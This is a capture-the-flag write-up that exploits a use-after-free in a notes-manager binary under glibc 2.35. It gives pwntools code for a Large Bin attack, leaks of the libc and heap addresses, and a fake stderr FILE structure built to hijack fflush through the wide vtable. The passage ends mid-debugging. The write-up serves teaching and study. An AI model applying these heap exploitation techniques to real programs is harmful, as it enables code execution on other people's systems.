La casa de papel
21 minutes to read
We are provided with a 64-bit binary called chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
In addition, we have the source code in C. The program is a notes manager with a fairly typical menu:
$ ./chall
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡒⠦⠤⠤⠄⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⢼⠀⠀⠒⠒⠤⠤⠤⠤⠤⣀⣀⣀⣀⠀⠀⠘⡇⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣀⠤⠔⠒⠉⠁⢀⣼⡀⠀⢠⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠰⡧⠚⠉⢹⡀⠀⠀⠀⠀⠀⠀
⠰⣖⠊⠉⠀⠀⠀⣠⠔⠚⠉⠁⢀⡇⠀⡀⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⢀⡇⠀⣤⠀⢷⡀⠀⠀⠀⠀⠀
⠀⠈⠳⡄⠀⠀⠋⣠⠖⠂⡠⠖⢙⡇⠀⠈⠉⠉⠉⠉⠓⠒⠒⠒⠒⠒⠆⠀⠀⣷⡀⠉⢦⠀⢳⡀⠀⠀⠀⠀
⠀⠀⠀⠈⢦⠀⠀⠁⠀⠀⠀⢀⠼⡇⠀⠀⠦⠤⠤⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠱⡀⠀⠳⡀⠙⣆⠀⠀⠀
⠀⠀⠀⠀⠀⠳⡄⠀⢀⡤⠊⠁⢠⡇⠀⠠⠤⢤⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⡧⡀⠙⢄⠀⠱⠄⠈⠳⡄⠀
⠀⠀⠀⠀⠀⠀⠙⡄⠀⠀⡠⠔⢻⠀⠀⠀⠀⠀⠀⠠⣄⣀⣀⣁⣀⠀⠀⠀⠀⡇⠱⡀⠀⠀⠀⠀⠀⣀⣘⣦
⠀⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⡸⠀⠀⠰⣄⣀⡀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⡇⠀⠃⢀⣠⠴⠛⠉⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠒⠀⠀⠀⠠⡇⣠⠔⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⢸⠁⠀⠀⠀⠒⠲⠤⣀⡀⠀⠀⠀⠀⠀⠀⠀⢰⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⠀⠀⠀⠀⠀⠀⠀⠀⠉⠑⠢⣄⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣎⣀⠀⠀⠀⠀⠀⠀⠀⠢⠤⣀⠀⠀⠁⠀⠀⠀⠸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢡⠉⠙⠒⠤⢤⡀⠀⠀⠀⠀⠉⠒⠀⠀⠀⠀⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠶⠒⠊⠉⠉⠉⠓⠦⣀⠀⠀⠀⠀⠀⠀⢰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⢄⡀⠀⠀⡎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⣼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>
Source code analysis
First, it is convenient to know that we have the following data structures:
typedef enum { false, true } bool;
typedef enum {small, medium, large } note_sz;
#define MAX_NOTES 4
#define TAM_TEXT 0x410
#define TAM_FOOTER 0x18
typedef struct t_note{
char* text;
char* footer;
bool is_freed;
bool is_written;
bool has_been_edited_text;
bool has_been_edited_footer;
bool has_been_edited_header;
note_sz size;
} Note, *pNote;
Note notes[MAX_NOTES];
We only have 4 notes in which we can have header, text and footer. Some flags also appear in case we write, free or edit any of these fields.
Allocation function
To create notes, we have the function create_note
:
void
create_note(){
int idx;
while (true){
int available = available_notes_create();
if(!available){
puts("There are no pages left to write a new note!\n");
return;
}
puts("Select the note's index");
print_note_idxs();
idx = read_int();
if( (idx < 0 || idx >= MAX_NOTES) || notes[idx].text != NULL || notes[idx].is_written || notes[idx].is_freed ){
puts("Invalid index!!");
continue;
}
break;
}
int sz;
while(true){
puts("Choose the note size [small: 0, med: 1, big: 2]");
sz = read_int();
switch (sz){
case 0:
case 1:
case 2:
break;
default:
puts("Invalid note size!!");
continue;
}
break;
}
int with_footer;
while(true){
puts("Do you want to write a footer to your note? [yes: 1, no: 0]");
with_footer = read_int();
switch (with_footer){
case 0:
case 1:
break;
default:
puts("Invalid choize!!");
continue;
}
break;
}
notes[idx].is_written = true;
notes[idx].size = (note_sz) sz;
int total_text_tam = TAM_TEXT + sz * 0x10, text_offset = 0;
notes[idx].text = (char *) calloc(total_text_tam, 1);
if(with_footer){
notes[idx].footer = (char *) calloc(TAM_FOOTER, 1);
}
puts("\nFilling the fields...");
text_offset = fill_fields(idx, with_footer);
puts("Enter the note's text");
read_text_input(notes[idx].text + text_offset, total_text_tam - text_offset);
printf("Note created with index %d\n", idx);
}
This function asks the following questions:
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>0
Select the note's index
[ 0 1 2 3 ]
>0
Choose the note size [small: 0, med: 1, big: 2]
>0
Do you want to write a footer to your note? [yes: 1, no: 0]
>1
Filling the fields...
Enter the author's name:
>asdf
Enter the author's surname:
>asdf
Enter the date:
>asdf
Enter the city:
>asdf
Enter the note's text
>asdfasdfasdf
Note created with index 0
First, it checks that there is space in the 4 slots we have. Then ,it asks about the index to save the note. Later, it requests the size of the note and if it will have footer:
- Small:
0x410
bytes - Medium:
0x420
bytes - Big:
0x430
bytes - With footer:
0x18
additional bytes
Note that on the one hand there is the header and the text (as one chunk), and on the other the footer (like a 0x20
-sized chunk). In both cases, calloc
is used, which initializes the content of the chunk to zero and also does not use the Tcache free-lists.
The information of the note is managed by the function fill_fields
, that is well implemented:
int
fill_fields(int idx, bool with_footer){
int text_offset = 0;
puts("Enter the author's name:");
read_text_input(notes[idx].text + text_offset, 0x8);
clean_whitespaces(notes[idx].text + text_offset);
if(with_footer){
strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
}
text_offset += 0x8;
puts("Enter the author's surname:");
read_text_input(notes[idx].text+text_offset, 0x8);
clean_whitespaces(notes[idx].text+text_offset);
if(with_footer){
strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
}
text_offset += 0x8;
puts("Enter the date:");
read_text_input(notes[idx].text+text_offset, 0x8);
clean_whitespaces(notes[idx].text+text_offset);
if(with_footer){
strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
}
text_offset += 0x8;
puts("Enter the city:");
read_text_input(notes[idx].text + text_offset, 0x8);
clean_whitespaces(notes[idx].text + text_offset);
text_offset += 0x8;
return text_offset;
}
Edit function
The edit_note
function is as follows:
void
edit_note(){
int idx;
while(true){
puts("What is the index of the note you want to edit?");
print_note_idxs();
idx = read_int();
if ((idx < 0 || idx >= MAX_NOTES) || !notes[idx].is_written || notes[idx].text == NULL){
puts("Invalid note!!");
continue;
}
break;
}
int edit_footer;
while(true){
puts("Do you want to edit the text a footer field or a header field? [text: 0, footer: 1, header: 2]");
edit_footer = read_int();
if(edit_footer < 0 || edit_footer > 2){
puts("Invalid choize!!");
continue;
}
if(!edit_footer && notes[idx].has_been_edited_text){
puts("The text has already been edited. You don't have any tipex left!");
return;
}
if(edit_footer == 1 && notes[idx].has_been_edited_footer){
puts("The footer has already been edited. You don't have any tipex left!");
return;
}
if(edit_footer == 2 && notes[idx].has_been_edited_header){
puts("The header has already been edited. You don't have any tipex left!");
return;
}
break;
}
if(edit_footer == 1){
int field;
while(true){
puts("What field have you messed up? [Name: 0, Surname: 1, Date: 2]");
field = read_int();
if(field < 0 || field > 2){
puts("That field doesn't exist!!");
continue;
}
break;
}
notes[idx].has_been_edited_footer = true;
int offset = field * 0x8;
char *buf = notes[idx].footer + offset;
puts("Enter the new field value");
read_text_input(buf, 0x8);
clean_whitespaces(buf);
}else if (edit_footer == 2){
int field;
while(true){
puts("What field have you messed up? [Name: 0, Surname: 1, Date: 2, City: 3]");
field = read_int();
if(field < 0 || field > 3){
puts("That field doesn't exist!!");
continue;
}
break;
}
notes[idx].has_been_edited_header = true;
int offset = field * 0x8;
char *buf = notes[idx].text + offset;
puts("Enter the new field value");
read_text_input(buf, 0x8);
clean_whitespaces(buf);
}else{
notes[idx].has_been_edited_text = true;
int header_sz = 0x20;
int note_tam = (TAM_TEXT + 0x10 * notes[idx].size) - header_sz;
puts("Enter the new text");
read_text_input(notes[idx].text + header_sz, note_tam);
}
puts("Changes applied!");
}
It is a fairly extensive function because it has to cover many cases. Simplifying, it allows us to edit a note of the 4 possible and ask us exactly what part we want to edit: header, text or footer. Each of these three can only be edited once. And if we chose header or footer, we will have to choose a particular field: name, surname, date or city (in the case of the footer).
As a control, the function verifies if the note is really written and if there is a reference in the global array.
Read function
This is read_note
:
void
read_note(){
int idx;
while(true){
puts("What is the index of the note you want to read?");
print_note_idxs();
idx = read_int();
if ((idx < 0 || idx >= MAX_NOTES) || notes[idx].text == NULL ){
puts("Invalid note!!");
continue;
}
break;
}
printf("Note [%d]\n", idx);
puts("Header");
puts("-----------------------------");
print_header(notes[idx].text);
puts("-----------------------------");
puts("");
if(!notes[idx].is_freed){
printf("Text: %s\n", notes[idx].text + 0x20);
}else{
puts("Text: --DELETED--");
}
puts("");
if(notes[idx].footer != NULL){
puts("Footer");
puts("-------------------------------");
print_footer(notes[idx].footer);
}
}
With this function we can read the data of a specific note. If it happens that this note is freed, only the header and footer will be displayed (if it has it), but the text part will not be displayed.
Free function
Finally, we have the option to delete notes:
void
throw_note(){
int idx;
while(true){
int available = available_notes_throw();
if (!available){
puts("There are no more pages left to tear bro\n");
return;
}
puts("What is the index of the note you want to throw to the bin?");
print_note_idxs();
idx = read_int();
if ((idx < 0 || idx >= MAX_NOTES) || notes[idx].is_freed || notes[idx].text == NULL ){
puts("Invalid note!!");
continue;
}
break;
}
notes[idx].is_freed = true;
free(notes[idx].text);
puts("3-pointer in the bin!!");
}
This function simply calls free
to release the chunk. The problem with this function is that it does not erase the reference to the note in the global array. Therefore, although the chunk is freed, we can still access it and use functions such as read_note
or edit_note
, which do not properly check if the chunk is freed. With this, we have a Use After Free vulnerability.
Exploit strategy
First, we must taken into account that the Glibc version that we have to exploit is 2.35 (Ubuntu 22.04). As it is a heap exploitation challenge, a good idea is to look for some useful technique in how2heap.
Another fact to consider is how notes are stored as chunks in the heap:
Large Bin attack
Knowing this, looking at the different techniques of how2heap that are applicable to Glibc 2.35, we find the Large Bin attack. The context and the nature of this attack fits perfectly with the proof of concept that appears in the repository. Even the sizes of the chunks that we ara allowed to use, with the guard chunks (of size 0x20
) to avoid consolidations when necessary. Everything fits.
The result of this attack is the possibility of writing a heap address (fixed) in an arbitrary memory address. By itself, it is not a very powerful attack, since it is necessary to leverage the limited write primitive.
The attack procedure is well documented in the repository, but it is basically as follows:
- Allocate a chunk (
p1
) of size0x430
with a guard chunk (g1
) - Allocate a chunk (
p2
) of size0x420
with a guard chunk (g2
) - Free
p1
- Allocate a chunk (
p3
) of size0x440
- Free
p2
- Modify the
bk_nextsize
field ofp1
ans set the address where we want to write (minus0x20
). This can be done with a Use After Free - Allocate a chunk (
p4
) of size0x440
At this point, we will have the address of chunk p2
set in the address we wanted to write.
Exploit development
First, we will use the following auxiliary functions:
SMALL, MEDIUM, LARGE = 0, 1, 2
WITHOUT_FOOTER, WITH_FOOTER = 0, 1
TEXT, FOOTER, HEADER = 0, 1, 2
NAME, SURNAME, DATE, CITY = 0, 1, 2, 3
def create(index: int, size: int, footer: int, name: bytes, surname: bytes, date: bytes, city: bytes, text: bytes):
io.sendlineafter(b'>', b'0')
io.sendlineafter(b'>', str(index).encode())
io.sendlineafter(b'>', str(size).encode())
io.sendlineafter(b'>', str(footer).encode())
io.sendafter(b'>', name)
io.sendafter(b'>', surname)
io.sendafter(b'>', date)
io.sendafter(b'>', city)
io.sendafter(b'>', text)
def edit(index: int, place: int, field: int, data: bytes):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'>', str(index).encode())
io.sendlineafter(b'>', str(place).encode())
if place != TEXT:
io.sendlineafter(b'>', str(field).encode())
io.sendlineafter(b'>', data)
def read(index: int) -> bytes:
io.sendlineafter(b'>', b'2')
io.sendlineafter(b'>', str(index).encode())
return io.recvuntil(b'What would you like to do?', drop=True)
def throw(index: int):
io.sendlineafter(b'>', b'3')
io.sendlineafter(b'>', str(index).encode())
The Large bin attack can be implemented in this challenge in a very simple way:
def main():
gdb.attach(io, 'continue')
create(0, MEDIUM, WITH_FOOTER, b'A', b'A', b'A', b'A', b'A' * 16)
create(1, SMALL, WITH_FOOTER, b'B', b'B', b'B', b'B', b'B' * 16)
throw(0)
create(2, LARGE, WITHOUT_FOOTER, b'C', b'C', b'C', b'C', b'C' * 16)
edit(0, HEADER, CITY, p64(0x406600 - 0x20))
throw(1)
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'D' * 16)
io.interactive()
If we execute it, the program does not break:
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall': pid 402081
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall', '402081', '-x', '/tmp/pwnsrwco9g4.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Note created with index 3
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>$
In addition, in GDB we see that the address we have indicated contains an address of the heap, specifically, the one from chunk p2
:
gef> x/gx 0x406600
0x406600: 0x00000000020616e0
gef> chunks
Chunk(addr=0x2061000, size=0x290, flags=PREV_INUSE)
Chunk(addr=0x2061290, size=0x430, flags=PREV_INUSE, fd=0x0000020616e0, bk=0x7f544ec300d0, fd_nextsize=0x000002061290, bk_nextsize=0x0000020616e0) <- largebins[idx=63,sz=0x400-0x440][1/2]
Chunk(addr=0x20616c0, size=0x20, flags=)
Chunk(addr=0x20616e0, size=0x420, flags=PREV_INUSE, fd=0x7f544ec300d0, bk=0x000002061290, fd_nextsize=0x000002061290, bk_nextsize=0x0000004065e0) <- largebins[idx=63,sz=0x400-0x440][2/2]
Chunk(addr=0x2061b00, size=0x20, flags=)
Chunk(addr=0x2061b20, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x2061f60, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x20623a0, size=0x1fc60, flags=PREV_INUSE) <- top
Ok, this is very good. But with this attack we do nothing. In addition, we have already used 4 notes, so we will not be able to create anything new, even if we free them (since they are not erased from the array).
What is usually done with an Large Bin attack is to modify some global variable that gives greater capacities to continue with the exploitation. For example, we could modify global_max_fast
so that the chunks that go to the Fast bin can be very large (and not less than 0x80
). But this does not affect us because we cannot allocate any more chunks…
Investigating a little more, we discover techniques such as House of Apple, which aim to use a Large Bin attack for corrupting a FILE
structure such as stdin
, stdout
or stderr
and obtain arbitrary code execution.
The techniques related to the FILE
structure are called FILE
structure attacks, and each one is so similar and so different from the others. To find a technique that works, it is necessary to debug and read a lot of Glibc source code.
Leaking memory addresses
Whatever the technique we use, we need a couple of memory addresses to continue the exploitation: the GLibc base address and the heap base address.
Both are easy to get since they appear in fields fd
and bk
of the freed chunks (see previous output of GDB). Then, we can just use read_note
to take the data from the header of the note. We can do it before allocating the last note of the Large Bin attack:
data = read(0)
glibc.address = u64(data[data.index(b'Name: ') + 6:][:6].ljust(8, b'\0')) - 0x21b0d0
heap_addr = u64(data[data.index(b'Date: ') + 6:][:4].ljust(8, b'\0')) - 0x290
io.success(f'Glibc base address: {hex(glibc.address)}')
io.success(f'Heap base address: {hex(heap_addr)}')
If we execute it, we will see the addresses we wanted:
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall': pid 412242
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall', '412242', '-x', '/tmp/pwn9o9ggnck.gdb']
[+] Waiting for debugger: Done
[+] Glibc base address: 0x7fc99ad2d000
[+] Heap base address: 0x1d34000
[*] Switching to interactive mode
Note created with index 3
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>$
And they are correct:
gef> x/gx 0x406600
0x406600: 0x0000000001d346e0
gef> chunks
Chunk(addr=0x1d34000, size=0x290, flags=PREV_INUSE)
Chunk(addr=0x1d34290, size=0x430, flags=PREV_INUSE, fd=0x000001d346e0, bk=0x7fc99af480d0, fd_nextsize=0x000001d34290, bk_nextsize=0x000001d346e0) <- largebins[idx=63,sz=0x400-0x440][1/2]
Chunk(addr=0x1d346c0, size=0x20, flags=)
Chunk(addr=0x1d346e0, size=0x420, flags=PREV_INUSE, fd=0x7fc99af480d0, bk=0x000001d34290, fd_nextsize=0x000001d34290, bk_nextsize=0x0000004065e0) <- largebins[idx=63,sz=0x400-0x440][2/2]
Chunk(addr=0x1d34b00, size=0x20, flags=)
Chunk(addr=0x1d34b20, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x1d34f60, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x1d353a0, size=0x1fc60, flags=PREV_INUSE) <- top
gef> libc
------------------------------------------------------------------------- libc info -------------------------------------------------------------------------
$libc = 0x7fc99ad2d000
path: /usr/lib/x86_64-linux-gnu/libc.so.6
sha512: b6f66f4643a14c3b7d97ef2ba2cc3a2670ef943f0624ffae6ad57cc2950c16d14156eab45d5827b194223062e5fbdb1d57d98a266723fd9dbdf6d0e657c080e8
sha256: bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a
sha1: 2f1387a64ad0eb7906fe82c4efab9b5cfbd55467
md5: 9ee1a1aa1bbd6bf8d7f3a90c0ea5d135
ver: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.
FILE
structure attack
Something to keep in mind is that the program uses fflush
before returning from main
:
int main(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
banner();
while(true){
show_options();
int op = read_int();
switch (op){
case 0:
create_note();
continue;
case 1:
edit_note();
continue;
case 2:
read_note();
continue;
case 3:
throw_note();
continue;
case 4:
break;
default:
puts("Invalid option! Try again!");
continue;
}
break;
}
puts("Good bye!!");
fflush(stderr);
fflush(stdout);
fflush(stdin);
}
These last calls to fflush
over stderr
, stdout
and stdin
could give us a clue that the attack vector is a FILE
structure attack, since it is not necessary to make this type of calls before the end of the program.
On the other hand, since the binary has no PIE, we know the pointers to these structures in the binary (within the BSS section):
gef> vmmap chall
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- ./chall
0x0000000000401000 0x0000000000403000 0x0000000000002000 0x0000000000001000 r-x ./chall
0x0000000000403000 0x0000000000405000 0x0000000000002000 0x0000000000003000 r-- ./chall
0x0000000000405000 0x0000000000406000 0x0000000000001000 0x0000000000004000 r-- ./chall
0x0000000000406000 0x0000000000407000 0x0000000000001000 0x0000000000005000 rw- ./chall
gef> x/30gx 0x0000000000406000
0x406000: 0x0000000000000000 0x0000000000000000
0x406010: 0x0000000000000000 0x0000000000000000
0x406020 <stdout@GLIBC_2.2.5>: 0x00007fc99af48780 0x0000000000000000
0x406030 <stdin@GLIBC_2.2.5>: 0x00007fc99af47aa0 0x0000000000000000
0x406040 <stderr@GLIBC_2.2.5>: 0x00007fc99af486a0 0x0000000000000000
0x406050: 0x0000000000000000 0x0000000000000000
0x406060 <notes>: 0x0000000001d342a0 0x0000000001d346d0
0x406070 <notes+16>: 0x0000000100000001 0x0000000000000000
0x406080 <notes+32>: 0x0000000100000001 0x0000000001d346f0
0x406090 <notes+48>: 0x0000000001d34b10 0x0000000100000001
0x4060a0 <notes+64>: 0x0000000000000000 0x0000000000000000
0x4060b0 <notes+80>: 0x0000000001d34b30 0x0000000000000000
0x4060c0 <notes+96>: 0x0000000100000000 0x0000000000000000
0x4060d0 <notes+112>: 0x0000000200000000 0x0000000001d34f70
0x4060e0 <notes+128>: 0x0000000000000000 0x0000000100000000
Therefore, a good idea would be to modify the pointer of one of these structures and put an FILE
structure in the corresponding heap chunk. This way, when an operation is going to be carried out with this FILE
structure, the program will use the structure we have just defined.
The FILE
structure that suits us most is stderr
, since it is not used throughout the program except with it calls fflush(htderr)
. Therefore, we can be sure that the program will not stop by modifying the pointer to this structure.
Even so, we have a small problem, and we will not be able to write a complete FILE
structure on the heap region we control, since this address points to the prev_size
of the guard chunk g1
. This is the current structure of stderr
:
gef> p *stderr
$1 = {
_flags = 0xfbad2087,
_IO_read_ptr = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7fc99af48724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fc99af48780 <_IO_2_1_stdout_>,
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7fc99af49a60 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fc99af478a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
gef> x/30gx stderr
0x7fc99af486a0 <_IO_2_1_stderr_>: 0x00000000fbad2087 0x00007fc99af48723
0x7fc99af486b0 <_IO_2_1_stderr_+16>: 0x00007fc99af48723 0x00007fc99af48723
0x7fc99af486c0 <_IO_2_1_stderr_+32>: 0x00007fc99af48723 0x00007fc99af48723
0x7fc99af486d0 <_IO_2_1_stderr_+48>: 0x00007fc99af48723 0x00007fc99af48723
0x7fc99af486e0 <_IO_2_1_stderr_+64>: 0x00007fc99af48724 0x0000000000000000
0x7fc99af486f0 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7fc99af48700 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007fc99af48780
0x7fc99af48710 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7fc99af48720 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007fc99af49a60
0x7fc99af48730 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7fc99af48740 <_IO_2_1_stderr_+160>: 0x00007fc99af478a0 0x0000000000000000
0x7fc99af48750 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7fc99af48760 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7fc99af48770 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007fc99af44600
0x7fc99af48780 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007fc99af48803
And this is the memory region in which we have to create a fake structure FILE
:
gef> x/30gx 0x1d346e0
0x1d346e0: 0x0000000000000041 0x0000000000000421
0x1d346f0: 0x00007fc99af480d0 0x0000000001d34290
0x1d34700: 0x0000000001d34290 0x00000000004065e0
0x1d34710: 0x4242424242424242 0x4242424242424242
0x1d34720: 0x0000000000000000 0x0000000000000000
0x1d34730: 0x0000000000000000 0x0000000000000000
0x1d34740: 0x0000000000000000 0x0000000000000000
0x1d34750: 0x0000000000000000 0x0000000000000000
0x1d34760: 0x0000000000000000 0x0000000000000000
0x1d34770: 0x0000000000000000 0x0000000000000000
0x1d34780: 0x0000000000000000 0x0000000000000000
0x1d34790: 0x0000000000000000 0x0000000000000000
0x1d347a0: 0x0000000000000000 0x0000000000000000
0x1d347b0: 0x0000000000000000 0x0000000000000000
0x1d347c0: 0x0000000000000000 0x0000000000000000
For example, we can modify the first field (the one who has 0x0000000000000041
) from the footer of the note 0
. However, the field that contains 0x0000000000000421
is not modifiable because it is the size of the chunk. Of the following 4 fields we can only touch one, because they are part of the header of note 1
. The rest of bytes (from0x4242424242424242
) are modifiable, because they are part of the text of the note.
Even so, it is enough to create a FILE
structure that allows us to obtain arbitrary code execution.
To get an exploit that works, I had to research and read many articles related to FILE
structure attacks in modern environments. These are some of the blogs that I used as a reference:
The first link is a write-up that shows a very simple way to obtain code execution through a FILE
structure directly on stdout
of Glibc. We can try to write this FILE
structure on the heap and point stdout
to a chunk we control. However, the exploit does not work.
Even so, I was able to investigate how it should have worked and I saw that it tried to call _io_wfile_underflow
, which comes from a virtual function table (vtable). When the FILE
structure attack technique emerged, the vable of the FILE
structure almost did not have security, and it was very easy to modify pointers of this table to arbitrary functions to achieve code execution. Today, the vtable is much safer.
Even so, the previous exploit also targers a vtable, but it is different; it is the vtable called _wide_vtable
. And this vtable has no security. All this explanation appears in the second link (which refers to the third, House of Apple 2).
Following nobodyisnobody’s example, we can start here. When we execute the exploit, GDB will stop at fflush
and we can continue the execution to see what function of the vtable is called:
def main():
gdb.attach(io, 'break fflush\ncontinue')
create(0, MEDIUM, WITH_FOOTER, b'A', b'A', b'A', b'A', b'A' * 16)
create(1, SMALL, WITH_FOOTER, b'B', b'B', b'B', b'B', b'B' * 16)
throw(0)
create(2, LARGE, WITHOUT_FOOTER, b'C', b'C', b'C', b'C', b'C' * 16)
edit(0, HEADER, CITY, p64(0x406040 - 0x20))
throw(1)
data = read(0)
glibc.address = u64(data[data.index(b'Name: ') + 6:][:6].ljust(8, b'\0')) - 0x21b0d0
heap_addr = u64(data[data.index(b'Date: ') + 6:][:4].ljust(8, b'\0')) - 0x290
io.success(f'Glibc base address: {hex(glibc.address)}')
io.success(f'Heap base address: {hex(heap_addr)}')
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'D' * 16)
stderr_lock = glibc.address + 0x21ca70 # _IO_stdfile_1_lock (symbol not exported)
fake_vtable = glibc.sym._IO_wfile_jumps - 0x40 # _IO_wfile_underflow
fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_buf_base = heap_addr + 0x123
fake._lock = stderr_lock
fake.unknown2 = p64(0) * 2 + p64(glibc.sym._IO_file_jumps) + p64(0) * 3 + p64(fake_vtable)
fake._wide_data = heap_addr + 0x456
edit(0, FOOTER, DATE, p64(fake.flags))
edit(1, HEADER, CITY, p64(fake._IO_read_end))
edit(1, TEXT, 0, bytes(fake)[0x30:])
io.sendlineafter(b'>', b'4')
io.recvline()
io.interactive()
If we follow the execution of fflush
, we will reach a point where the function calls a pointer of the vtable:
gef> x/i $rip
=> 0x7fbe1097d1a7 <__GI__IO_fflush+119>: call QWORD PTR [rbp+0x60]
gef> x/gx $rbp
0x7fbe10b15080 <_IO_wfile_jumps_mmap+128>: 0x00007fbe10988670
gef> x/gx $rbp+0x60
0x7fbe10b150e0 <_IO_wfile_jumps+32>: 0x00007fbe10982fd0
gef> telescope -n &_IO_wfile_jumps 10
0x7fbe10b150c0|+0x0000|+000: 0x0000000000000000
0x7fbe10b150c8|+0x0008|+001: 0x0000000000000000
0x7fbe10b150d0|+0x0010|+002: 0x00007fbe10989ff0 <_IO_file_finish> -> 0xfd894855fa1e0ff3
0x7fbe10b150d8|+0x0018|+003: 0x00007fbe10984390 <_IO_wfile_overflow> -> 0x48555441fa1e0ff3
